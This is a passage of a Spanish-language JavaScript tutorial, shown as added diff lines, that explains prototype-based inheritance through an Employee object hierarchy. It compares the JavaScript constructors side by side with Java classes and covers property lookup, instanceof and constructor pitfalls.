+<p><small><strong>Figura 8.1: Una jerarquía de objetos sencilla</strong></small></p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<p>Este ejemplo utiliza los siguientes objetos:</p>
+
+<ul>
+ <li><code>Employee</code> tiene las propiedades <code>name</code> (cuyo valor por defecto es un string vacío) y <code>dept</code> (cuyo valor por defecto es "general").</li>
+ <li><code>Manager</code> está basado en <code>Employee</code>. Añade la propiedad<code> reports</code> (cuyo valor por defecto es un array vacío, en la que se pretende almacenar un array de objetos <code>Employee</code> como su valor).</li>
+ <li><code>WorkerBee</code> también está basado en <code>Employee</code>. Añade la propiedad <code>projects</code> (cuyo valor por defecto es un array vacío en el que se pretende almacenar un array de strings como su valor).</li>
+ <li><code>SalesPerson</code> está basado en <code>WorkerBee</code>. Añade la propiedad <code>quota</code> (cuyo valor por defecto es 100). También reemplaza la propiedad <code>dept</code> con el valor "sales", indicando que todas las salespersons están en el mismo departamento.</li>
+ <li><code>Engineer</code> se basa en <code>WorkerBee</code>. Añade la propiedad <code>machine</code> (cuyo valor por defecto es un string vacío) y también reemplaza la propiedad  <code>dept</code> con el valor "engineering".</li>
+</ul>
+
+
+</div>
+
+
+
+<ul>
+</ul>
+
+<h2 id="Creación_de_la_jerarquía">Creación de la jerarquía</h2>
+
+<p>Hay varias formas de definir funciones constructor para implementar la jerarquía Employee. Elegir una u otra forma depende sobre todo de lo que quieras y puedas ser capaz de hacer con tu aplicación.</p>
+
+<p>Esta sección muestra como utilizar definiciones muy sencillas (y comparativamente inflexibles) para mostrar como hacer funcionar la herencia. En estas definiciones no puedes especificar valores de propiedades cuando creas un objeto. El nuevo objeto que se crea simplemente obtiene valores por defecto, que puedes cambiar posteriormente. La figura 8.2 muestra la jerarquía con estas definiciones sencillas.</p>
+
+<p>En una aplicación real probablemente definirías constructores que proporcionen valores a las propiedades en el momento de la creación del objeto (para más información ver <a href="#More_flexible_constructors">Constructores más flexibles</a>). Por ahora, estas definiciones sencillas nos sirven para mostrar como funciona la herencia.</p>
+
+<p><img alt="figure8.2.png" class="default internal" src="/@api/deki/files/4390/=figure8.2.png"><br>
+ <small><strong>Figura 8.2: Definiciones de los objetos de la jerarquía Employee</strong></small></p>
+
+<p>Las siguientes definiciones de <code>Employee</code> en Java y en Javascript son similares, la única diferencia es que en Java necesitas especificar el tipo para cada propiedad, no así en Javascript (esto es debido a que Java es un <a href="https://es.wikipedia.org/wiki/Tipado_fuerte">lenguaje fuertemente tipado</a>, mientras que Javascript es un lenguaje débilmente tipado). </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js notranslate">
+function Employee () {
+  this.name = "";
+  this.dept = "general";
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java notranslate">
+public class Employee {
+   public String name;
+   public String dept;
+   public Employee () {
+      this.name = "";
+      this.dept = "general";
+   }
+
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Las definiciones de <code>Manager</code> y <code>WorkerBee</code> ilustran la diferencia a la hora de especificar el siguiente objeto en la jerarquía de herencia. En JavaScript se añade una instancia prototípica como el valor de la propiedad <code>prototype</code> de la función constructora, así sobre escribe <code>prototype.constructor</code> con la función constructora. Puede hacerse en cualquier momento una vez definido el constructor. En Java se especifica la superclase en la definición de la clase. No se puede cambiar la superclase fuera de la definición de la clase.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js notranslate">
+function Manager () {
+  this.reports = [];
+}
+Manager.prototype = new Employee;
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java notranslate">
+public class Manager extends Employee {
+   public Employee[] reports;
+   public Manager () {
+      this.reports = new Employee[0];
+   }
+}
+
+public class WorkerBee extends Employee {
+   public String[] projects;
+   public WorkerBee () {
+      this.projects = new String[0];
+   }
+
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Las definiciones de <code>Engineer</code> y <code>SalesPerson</code> crean objetos que descienden de <code>WorkerBee</code> y por tanto de <code>Employee</code>. Un objeto de éste tipo tiene todas las propiedades de los objetos por encima de él en la cadena. Además, estas definiciones reemplazan los valores heredados de la propiedad <code>dept</code> con nuevos valores específicos para estos objetos.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js notranslate">
+function SalesPerson () {
+   this.dept = "sales";
+   this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee;
+
+function Engineer () {
+   this.dept = "engineering";
+   this.machine = "";
+}
+Engineer.prototype = new WorkerBee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java notranslate">
+public class SalesPerson extends WorkerBee {
+   public double quota;
+   public SalesPerson () {
+      this.dept = "sales";
+      this.quota = 100.0;
+   }
+}
+
+public class Engineer extends WorkerBee {
+   public String machine;
+   public Engineer () {
+      this.dept = "engineering";
+      this.machine = "";
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Usando estas definiciones puedes crear instancias de estos objetos, que adquieren valores por defecto para sus propiedades. La figura 8.3 revela el uso de estas definiciones JavaScript para crear nuevos objetos y muestra los valores de las propiedades de estos nuevos objetos.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> El termino <em><em>instancia</em></em> tiene un significado técnico específico en lenguajes basados en clases, donde una instancia es un ejemplar individual de una clase y es fundamentalmente diferente a la clase. En JavaScript, "instancia" no tiene este mismo significado ya que JavaScript no hace diferencia entre clases e instancias. Sin embargo, al hablar de JavaScript, "instancia" puede ser usado informalmente para indicar que un objeto ha sido creado usando una función constructora particular. En este ejemplo, puedes decir que <code><code>jane</code></code> es una instancia de <code><code>Engineer</code></code>. De la misma manera, aunque los términos <em><em>parent</em>, <em>child</em>, <em>ancestor</em></em>, y <em><em>descendant</em></em> no tienen un significado formal en JavaScript;  puedes usarlos informalmente para referirte a objetos que están por encima o por debajo de la cadena de prototipos.</p>
+</div>
+
+
+
+<h3 id="Creando_objetos_con_definiciones_simples">Creando objetos con definiciones simples</h3>
+
+<p>La jerarquía de objetos que se muestra en la figura se corresponde con el código escrito en el lado derecho.</p>
+
+<p><img alt="figure8.3.png" class="default internal" id="figure8.3" src="/@api/deki/files/4403/=figure8.3.png"><br>
+ <a id="8.3" name="8.3"><small><strong>Figura 8.3: Creación de objetos mediante definiciones simples</strong></small></a></p>
+
+<p><strong>Objetos individuales = Jim, Sally, Mark, Fred, Jane, etc.<br>
+ "Instancias" creadas con <code><em>constructor</em></code></strong></p>
+
+<h2 id="Propiedades_de_objetos">Propiedades de objetos</h2>
+
+<p>Esta sección describe cómo heredan los objetos sus propiedades de otros objetos en la cadena de prototipos y qué ocurre cuando se añade una propiedad en tiempo de ejecución.</p>
+
+<h3 id="Herencia_de_propiedades">Herencia de propiedades</h3>
+
+<p>Supongamos que creas el objeto <code>mark</code> como un <code>WorkerBee</code> (como se muestra en la <a href="#8.3">Figura 8.3</a>) con la siguiente sentencia:</p>
+
+<pre class="brush: js notranslate">var mark = new WorkerBee;
+</pre>
+
+<p>Cuando el intérprete de JavaScript encuentra el operador <code>new</code>, crea un nuevo objeto genérico y establece implícitamente el valor de la propiedad interna [[Prototype]] con el valor de <code>WorkerBee.prototype</code> y pasa este nuevo objeto como <code>this</code> a la función constructora de WorkerBee. La propiedad interna [[Prototype]] (que puede observarse como <code>__proto__</code>, la propiedad cuyo nombe tiene dos guiones al principio y al final) determina la cadena de prototipo usada para devolver los valores de la propiedades cuando se accede a ellas. Una vez que estas propiedades tienen sus valores, JavaScript devuelve el nuevo objeto y la sentencia de asignación asigna el nuevo objeto ya inicializado a la variable <code>mark</code>.</p>
+
+<p>Este proceso no asigna explícitamente valores al objeto <code>mark</code> (valores <em>locales</em>) para las propiedades que <code>mark</code> hereda de la cadena de prototipos. Cuando solicitas valor de una propiedad, JavaScript primero comprueba si existe un valor para esa propiedad en el objeto. Si existe, se devuelve ese valor; sino, JavaScript comprueba la cadena de prototipos (usando la propiedad  <code>__proto__</code>). Si un objeto en la cadena de prototipos tiene un valor para esa propiedad, se devuelve ese valor. Si no existe en ningún objeto de la cadena de prototipos un valor para esa propiedad, JavaScript dice que el objeto no tiene esa propiedad. En el caso de nuestro objeto <code>mark</code>, éste tiene las siguientes propiedades y valores:</p>
+
+<pre class="brush: js notranslate">mark.name = "";
+mark.dept = "general";
+mark.projects = [];
+</pre>
+
+<p>El objeto <code>mark</code> hereda valores para las propiedades <code>name</code> y <code>dept</code> su objeto prototipico que enlaza en <code>mark.__proto__</code>. Se le asigna un valor local la propiedad <code>projects</code> a través del constructor <code>WorkerBee</code>.  De esta forma se heredan propiedades y sus valores en JavaScript. En la sección <a href="#Property_inheritance_revisited">Property inheritance revisited</a> se discuten algunos detalles de este proceso.</p>
+
+<p>Debido a que estos constructores no permiten especificar valores específicos de instancia, esta información es genérica. Los valores de las propiedades son los valores por omisión, compartidos por todos los objetos nuevos creados a partir de <code>WorkerBee</code>. Por supuesto se pueden cambiar después los valores de estas propiedades. Por ejemplo podríamos dar valores con información específica a <code>mark</code> de la siguiente forma:</p>
+
+<pre class="brush: js notranslate">mark.name = "Doe, Mark";
+mark.dept = "admin";
+mark.projects = ["navigator"];</pre>
+
+<h3 id="Añadir_propiedades">Añadir propiedades</h3>
+
+<p>En JavaScript puedes añadir propiedades a los objetos en tiempo de ejecución. No estás limitado a utilizar solo las  propiedades que proporciona la función constructora. Para añadir una propiedad que es especifica para un objeto determinado, se le asigna un valor a la propiedad del objeto de la siguiente forma:</p>
+
+<pre class="brush: js notranslate">mark.bonus = 3000;
+</pre>
+
+<p>Ahora el objeto <code>mark</code> tiene una propiedad <code>bonus</code>, pero ningún otro objeto creado con la función <em>constructor</em> <code>WorkerBee</code> tiene esta propiedad.</p>
+
+<p>Si añades una nueva propiedad a un objeto que se esta utilizando como el prototipo de una función <em>constructor</em>, dicha propiedad se añade a todos los objetos que heredan propiedades de dicho prototipo. Por ejemplo, puedes añadir una propiedad <code>specialty</code> a todos los empleados con la siguientes sentencia:</p>
+
+<pre class="brush: js notranslate">Employee.prototype.specialty = "none";
+</pre>
+
+<p>Tan pronto JavaScript ejecuta esta sentencia, el objeto <code>mark</code> también tienen la propiedad <code>specialty</code> con el valor <code>"none"</code>. La siguiente figura muestra el efecto de añadir esta propiedad al prototipo  <code>Employee</code> y después reemplazarlo por el prototipo <code>Engineer</code>.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4422/=figure8.4.png" style="height: 519px; width: 833px;"><br>
+ <small><strong>Figura 8.4: Añadir propiedades</strong></small></p>
+
+<h2 id="Constructores_más_flexibles">Constructores más flexibles</h2>
+
+<p>Las funciones constructor que se han mostrado hasta ahora no permiten especificar valores a las propiedades cuando se crea una instancia. Al igual que en Java, se pueden proporcionar argumentos a los constructores para inicializar los valores de las propiedades de las instancias. La siguiente figura muestra una forma de hacerlo.</p>
+
+<p><img alt="" class="internal" id="figure8.5" src="/@api/deki/files/4423/=figure8.5.png" style="height: 481px; width: 1012px;"><br>
+ <a id="8.5" name="8.5"><small><strong>Figura 8.5: Especificación de propiedades en un construcción, toma 1</strong></small></a></p>
+
+<p>La siguiente tabla muestra las definiciones Java y JavaScript para estos objetos.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js notranslate">
+function Employee (name, dept) {
+  this.name = name || "";
+  this.dept = dept || "general";
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java notranslate">
+public class Employee {
+   public String name;
+   public String dept;
+   public Employee () {
+      this("", "general");
+   }
+   public Employee (String name) {
+      this(name, "general");
+   }
+   public Employee (String name, String dept) {
+      this.name = name;
+      this.dept = dept;
+   }
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js notranslate">
+function WorkerBee (projs) {
+  this.projects = projs || [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java notranslate">
+public class WorkerBee extends Employee {
+   public String[] projects;
+   public WorkerBee () {
+      this(new String[0]);
+   }
+   public WorkerBee (String[] projs) {
+      projects = projs;
+   }
+}
+
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js notranslate">
+
+function Engineer (mach) {
+   this.dept = "engineering";
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java notranslate">
+public class Engineer extends WorkerBee {
+   public String machine;
+   public Engineer () {
+      dept = "engineering";
+      machine = "";
+   }
+   public Engineer (String mach) {
+      dept = "engineering";
+      machine = mach;
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Estas definiciones JavaScript realizan un uso idiomático especial para asignar valores por defecto:</p>
+
+<pre class="brush: js notranslate">this.name = name || "";
+</pre>
+
+<p>El operador lógico OR de JavaScript (<code>||</code>) evalúa su primer argumento. Si dicho argumento se convierte a true, el operador lo devuelve. Si no, el operador devuelve el valor del segundo argumento. Por tanto, esta linea de código comprueba si <code>name</code> tiene un valor útil para la propiedad <code>name</code>, en cuyo caso asigna a <code>this.name</code> este valor. En caso contrario asigna a  <code>this.name</code> el string vacío. Este capitulo emplea este uso idiomático por abreviación. Sin embargo puede resultar chocante a primera vista.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Esto puede no resultar según lo esperado si la función <em>constructor</em> es llamada con argumentos que se convierten a <code>false</code> (como <code>0</code> (cero) y una cadena vacía (<code><code>""</code></code>). En este caso el valor por defecto resulta elegido en lugar del valor proporcionado en la llamada al constructor.</p>
+</div>
+
+<p>Con estas definiciones, cuando creas una instancia de un objeto, puedes especificar valores para las propiedades definidas localmente. Tal como se muestra en <a href="#8.5">Figura 8.5</a>, puedes utilizar la siguiente sentencia para crear un nuevo <code>Engineer</code>:</p>
+
+<pre class="brush: js notranslate">var jane = new Engineer("belau");
+</pre>
+
+<p>Ahora las propiedades de <code>jane</code> son:</p>
+
+<pre class="brush: js notranslate">jane.name == "";
+jane.dept == "engineering";
+jane.projects == [];
+jane.machine == "belau"
+</pre>
+
+<p>Nota que con estas definiciones no puedes dar un valor inicial a las propiedades heredadas como <code>name</code>. Si quieres especificar un valor inicial para las propiedades heredadas en  JavaScript tienes que que añadir más código a la función constructora.</p>
+
+<p>Hasta ahora, la función constructora ha creado un objeto genérico y ha especificado propiedades y valores locales para el nuevo objeto. Puedes hacer que el constructor añada más propiedades llamando directamente a la función <em>constructor</em> de un objeto que esté más arriba en la cadena de prototipos. La siguiente figura muestra estas definiciones.</p>
+
+
+
+<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br>
+ <small><strong>Figura 8.6 Especificación de propiedades en un constructor, toma 2</strong></small></p>
+
+<p>Veamos los detalles de una de estas definiciones. Aquí tenemos la nueva definición del <em>constructor</em> <code>Engineer</code>:</p>
+
+<pre class="brush: js notranslate">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+
+<p>Supongamos que se crea un nuevo <code>Engineer</code> de esta forma:</p>
+
+<pre class="brush: js notranslate">var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+</pre>
+
+<p>JavaScript sigue los siguientes pasos:</p>
+
+<ol>
+ <li>El operador <code>new</code> crea un nuevo objeto genérico y le asigna su propiedad <code>__proto__</code> a <code>Engineer.prototype</code>.</li>
+ <li>El operador <code>new</code> pasa el nuevo objeto al <em>constructor</em> <code>Engineer</code> como el valor de la palabra reservada <code>this</code>.</li>
+ <li>El <em>constructor</em> crea una nueva propiedad llamada <code>base</code> para ese objeto y le asigna el valor del constructor <code>WorkerBee</code>. Esto hace que el constructor <code>WorkerBee</code> pase a ser un método del objeto <code>Engineer</code>. El nombre de esta propiedad (<code>base</code>) no es especial. Puede usarse cualquier nombre de propiedad, si bien <code>base</code> evoca el uso que se le va a dar.</li>
+ <li>
+  <p>El constructor llama al método <code>base</code>, pasándole como argumentos dos de los argumentos que se le han pasado al constructor (<code>"Doe, Jane"</code> y <code>["navigator", "javascript"]</code>) y también el string <code>"engineering"</code>. Usar explícitamente <code>"engineering"</code> en el constructor indica que todos los objetos <code>Engineer</code> tienen el mismo valor para la propiedad heredada <code>dept</code>, y este valor reemplaza el valor heredado de <code>Employee</code>.</p>
+ </li>
+ <li>Como <code>base</code> es un método de <code>Engineer</code>, en la llamada a <code>base</code>, JavaScript liga la palabra <code>this</code> al objeto creado en el paso 1. De esta forma, la función <code>WorkerBee</code> a su vez pasa los argumentos <code>"Doe, Jane"</code> y <code>"engineering"</code> a la función constructor <code>Employee</code>. Cuando retorna la llamada de la función constructor <code>Employee</code>, la función <code>WorkerBee</code> utiliza el resto de argumentos para asignarle un valor a la propiedad <code>projects</code>.</li>
+ <li>Cuando la llamada al método <code>base</code> retorna, el constructor <code>Engineer</code> inicializa la propiedad <code>machine</code> del objeto con el valor<code>"belau"</code>.</li>
+ <li>Una vez creado, JavaScript asigna el nuevo objeto a la variable <code>jane</code>.</li>
+</ol>
+
+<p>Podrías pensar que al haber llamado al constructor <code>WorkerBee</code> desde el constructor <code>Engineer</code> ya dejas establecida la herencia para los objetos  <code>Engineer</code>. Pero no es así. Al llamar al constructor <code>WorkerBee</code> se garantiza que un objeto <code>Engineer</code> comience con las propiedades especificadas en todas las funciones del constructor que se llaman. Pero si luego se añaden propiedades a los prototipos de <code>Employee</code> o de <code>WorkerBee</code>, estas propiedades no se heredan por los objetos <code>Engineer</code>. Por ejemplo, veamos las siguientes sentencias:</p>
+
+<pre class="brush: js notranslate">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+
+<p>El objeto <code>jane</code> no hereda la propiedad <code>specialty</code> añadida al prototipo de <code>Employee</code>. Sigue siendo necesario dar valor al prototipo de <code>Employee</code> para que la herencia buscada se establezca. Veamos las siguientes sentencias:</p>
+
+<pre class="brush: js notranslate">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+
+<p>Ahora el valor de la propiedad <code>specialty </code>del objeto<code> j</code><code>ane</code> si es "none".</p>
+
+<p>Otra forma de llamar al constructor es mediante el uso de los métodos <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global Objects/Function/call"><code>call()</code></a> / <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/docs/JavaScript/Reference/Global Objects/Function/apply"><code>apply()</code></a>:</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js notranslate">
+function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: js notranslate">
+function Engineer (name, projs, mach) {
+  WorkerBee.call(this, name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Usar el método Javascript <code>call()</code> da como resultado una implementación más limpia ya que <code>base</code> ya no es necesaria. Mediante <code>call()</code> se llama a la función constructor <code>WorkerBee</code> como un método, pasándole explícitamente <code>this</code>. El efecto es el mismo que el producido al llamar al constructor a través de la propiedad  <code>base</code>: en la llamada a <code>WorkerBee,</code> <code>this </code>está ligado al objeto que se está creando en <code>Engineer.</code></p>
+
+<h2 id="Herencia_de_propiedades_revisada">Herencia de propiedades revisada</h2>
+
+<p>Las secciones precedentes describieron como los constructores y prototipos de JavaScript  jerarquías y herencia. En esta sección se discuten algunas sutilezas que no fueron necesariamente evidentes en las discusiones anteriores. </p>
+
+<h3 id="Valores_locales_frente_a_valores_heredados">Valores locales frente a valores heredados</h3>
+
+<p>Cuando accedes a una propiedad de un objeto, JavaScript realiza estos pasos, tal como se describió más arriba en este capítulo:</p>
+
+<ol>
+ <li>Comprueba si el valor existe localmente. Si existe, se devuelve ese valor.</li>
+ <li>Si no existe un valor local, comprueba la cadena de prototipos (usando la propiedad <code>__proto__</code>).</li>
+ <li>Si algún objeto en la cadena de prototipos tiene un valor para la propiedad especificada, devuelve ese valor.</li>
+ <li>Si no encuentra la propiedad en la cadena de prototipos, el objeto no tiene la propiedad.</li>
+</ol>
+
+<p>El resultado de estos pasos depende de cómo se definan las cosas en el camino. El ejemplo original tenía estas definiciones:</p>
+
+<pre class="brush: js notranslate">function Employee () {
+  this.name = "";
+  this.dept = "general";
+}
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+
+<p>Con estas definiciones, supongamos que se crea <code>amy</code> como una instancia de <code>WorkerBee</code> con la siguiente sentencia:</p>
+
+<pre class="brush: js notranslate">var amy = new WorkerBee;
+</pre>
+
+<p>El objeto <code>amy</code> tiene una propiedad local, <code>projects</code>. Los valores de las propiedades <code>name</code> y <code>dept</code> no son locales para <code>amy</code> y por eso se obtienen de la propiedad <code>__proto__</code> del objeto. Por ello, <code>amy</code> tiene estos valores en sus propiedades:</p>
+
+<pre class="brush: js notranslate">amy.name == "";
+amy.dept == "general";
+amy.projects == [];
+</pre>
+
+<p>Ahora supongamos que cambias el valor de la propiedad <code>name</code> en el prototipo asociado a <code>Employee</code>:</p>
+
+<pre class="brush: js notranslate">Employee.prototype.name = "Unknown"
+</pre>
+
+<p>A primera vista, esperarías que el nuevo valor se propague hacia abajo a todas las instancias de <code>Employee</code>. Pero no es esto lo que ocurre.</p>
+
+<p>Cuando se crea una instancia del objeto <code>Employee</code>, ésta obtiene un valor local para la propiedad <code>name</code> (la cadena vacía). Esto significa que cuando se da valor al prototipo de <code>WorkerBee</code> mediante la creación de un nuevo objeto <code>Employee</code>, <code>WorkerBee.prototype</code> tiene un valor local para la propiedad <code>name</code>. Por tanto, cuando JavaScript busca la propiedad <code>name</code> del objeto <code>amy</code> (una instancia de <code>WorkerBee</code>), JavaScript encuentra el valor local de esa propiedad en <code>WorkerBee.prototype</code>. Por tanto no busca más arriba en la cadena hasta <code>Employee.prototype</code>.</p>
+
+<p>Si quieres cambiar el valor de una propiedad de un objeto en tiempo de ejecución y conseguir que el nuevo valor sea heredado por todos los descendientes del objeto, no puedes definir la propiedad en la función constructor del objeto. En su lugar, la tienes que añadir al prototipo asociado al constructor. Por ejemplo, supongamos que cambiamos el código anterior por este otro:</p>
+
+<pre class="brush: js notranslate">function Employee () {
+  this.dept = "general";
+}
+Employee.prototype.name = "";
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+
+var amy = new WorkerBee;
+
+Employee.prototype.name = "Unknown";
+</pre>
+
+<p>En este caso, la propiedad <code>name</code> de <code>amy</code> si pasa a ser "Unknown" tras la ultima sentencia.</p>
+
+<p>Tal como muestran estos ejemplos, si quieres tener valores por defecto para propiedades de objetos, y se necesitas cambiar los valores por defecto en tiempo de ejecución, tienes que asignar las propiedades al prototipo del constructor, y no asignarlas dentro de la función <em>constructor</em>.</p>
+
+<h3 id="Determinar_las_relaciones_entre_instancias">Determinar las relaciones entre instancias</h3>
+
+<p>La búsqueda de propiedades en la cadena de prototipos comienza en las propiedades locales del objeto y si no se encuentran localmente, se busca a través de la propiedad  <code>__proto__</code> del objeto. La búsqueda continúa recursivamente, conociéndose como "búsqueda en la cadena de prototipos".</p>
+
+<p>La propiedad especial <code>__proto__</code> de un objeto recibe su valor en el momento en el que es creado; se le asigna el valor de la propiedad <code>prototype</code> de la función <em>constructor</em> usada para crear el objeto. Así, la expresión <code>new Foo()</code> crea un objeto con <code>__proto__ == <code class="moz-txt-verticalline">Foo.prototype</code></code>. Por tanto, los cambios que se realicen en las propiedades de <code class="moz-txt-verticalline">Foo.prototype</code> alteraran la búsqueda de propiedades de todos los objetos que se crearon mediante<code> new Foo()</code>.</p>
+
+<p>Todo objeto tiene una propiedad <code>__proto__</code> (salvo <code>Object</code>); toda función tiene una propiedad <code>prototype</code>. Es así como los objetos pueden relacionarse mediante 'herencia de prototipos' con otros objetos. Puedes comprobar la herencia comparando el valor de la propiedad <code>__proto__</code> con el valor de <code>prototype</code> de una función <em>constructor</em>. JavaScript proporciona un atajo: el operador <code>instanceof</code> que compara un objeto con una función <em>constructor</em> y devuelve true si el objeto hereda del prototipo de la función. Por ejemplo,</p>
+
+<pre class="brush: js notranslate">var f = new Foo();
+var isTrue = (f instanceof Foo);</pre>
+
+<p>Para ver un ejemplo más detallado, supongamos que tenemos el conjunto de definiciones mostrado en <a href="#Inheriting_properties">heredando propiedades</a>. Creamos un objeto <code>Engineer</code> somo sigue:</p>
+
+<pre class="brush: js notranslate">var chris = new Engineer("Pigman, Chris", ["jsd"], "fiji");
+</pre>
+
+<p>En este objeto, las siguientes sentencias son todas true:</p>
+
+<pre class="brush: js notranslate">chris.__proto__ == Engineer.prototype;
+chris.__proto__.__proto__ == WorkerBee.prototype;
+chris.__proto__.__proto__.__proto__ == Employee.prototype;
+chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
+chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
+</pre>
+
+<p>Por tanto podría escribirse una función <code>instanceOf</code> así:</p>
+
+<pre class="brush: js notranslate">function instanceOf(object, constructor) {
+   while (object != null) {
+      if (object == constructor.prototype)
+         return true;
+      if (typeof object == 'xml') {
+        return constructor.prototype == XML.prototype;
+      }
+      object = object.__proto__;
+   }
+   return false;
+}
+</pre>
+
+<div class="note"><strong>Nota:</strong> La implementación anterior compara el tipo del objeto con  "xml" para soslayar un pequeño problema sobre como se representan los objetos XML en las versiones recientes de JavaScript. Ver {{ bug(634150) }} para entender los detalles.</div>
+
+<p>Usando esta función <code>instanceOf</code> estas expresiones son todas <code>true</code>:</p>
+
+<pre class="brush: js notranslate">instanceOf (chris, Engineer)
+instanceOf (chris, WorkerBee)
+instanceOf (chris, Employee)
+instanceOf (chris, Object)
+</pre>
+
+<p>Pero la siguiente expresión es <code>false</code>:</p>
+
+<pre class="brush: js notranslate">instanceOf (chris, SalesPerson)</pre>
+
+<h3 id="Información_global_en_los_constructores">Información global en los constructores</h3>
+
+<p>Cuando creas constructores tienes que tener especial cuidado si se asigna información global en el constructor. Por ejemplo, supongamos que quieres tener un ID único que se asigne automáticamente a cada nuevo empleado. Podrías utilizar la siguiente definición para <code>Employee</code>:</p>
+
+<pre class="brush: js notranslate">var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+</pre>
+
+<p>Con esta definición, cuando cread un nuevo <code>Employee</code>, el constructor le asigna el siguiente ID y luego incrementa el contador global ID. Por tanto, tras ejecutar el siguiente código, <code>victoria.id</code> es 1 y <code>harry.id</code> es 2:</p>
+
+<pre class="brush: js notranslate">var victoria = new Employee("Pigbert, Victoria", "pubs")
+var harry = new Employee("Tschopik, Harry", "sales")
+</pre>
+
+<p>A primera vista puede parecer razonable. Sin embargo, <code>idCounter</code> se incrementa cada vez que se crea un nuevo objeto <code>Employee</code>, cualquiera que sea su propósito. Si creas la jerarquía completa de <code>Employee</code> mostrada en este capítulo, el constructor <code>Employee</code> es llamado cada vez que se asigna valor a un prototipo. Supongamos que tienes el siguiente código:</p>
+
+<pre class="brush: js notranslate">var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+
+function Manager (name, dept, reports) {...}
+Manager.prototype = new Employee;
+
+function WorkerBee (name, dept, projs) {...}
+WorkerBee.prototype = new Employee;
+
+function Engineer (name, projs, mach) {...}
+Engineer.prototype = new WorkerBee;
+
+function SalesPerson (name, projs, quota) {...}
+SalesPerson.prototype = new WorkerBee;
+
+var mac = new Engineer("Wood, Mac");
+</pre>
+
+<p>Supongamos además que las definiciones que se omiten tienen la propiedad <code>base</code> y se llama al constructor que tienen encima en la cadena de prototipos. En este caso, cuando se llega a crear el objeto <code>mac</code>, <code>mac.id</code> es 5.</p>
+
+<p>Dependiendo de la aplicación, puede o no importar que el contador se haya incrementado esas veces extra. En caso de que importe, una solución es utilizar este constructor:</p>
+
+<pre class="brush: js notranslate">function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   if (name)
+      this.id = idCounter++;
+}
+</pre>
+
+<p>Cuando se crea una instancia de <code>Employee</code> para usarla como prototipo, no se especifican argumentos para el constructor. Mediante esta definición del constructor, cuando no se proporcionan argumentos, el constructor no asigna un valor al id y no actualiza el contador. Por tanto,  para que se asigne a un <code>Employee</code> un id, hay que especificar un <code>name</code> al employee. En este caso <code>mac.id</code> seria 1.</p>
+
+<h3 id="Sin_herencia_múltiple">Sin herencia múltiple</h3>
+
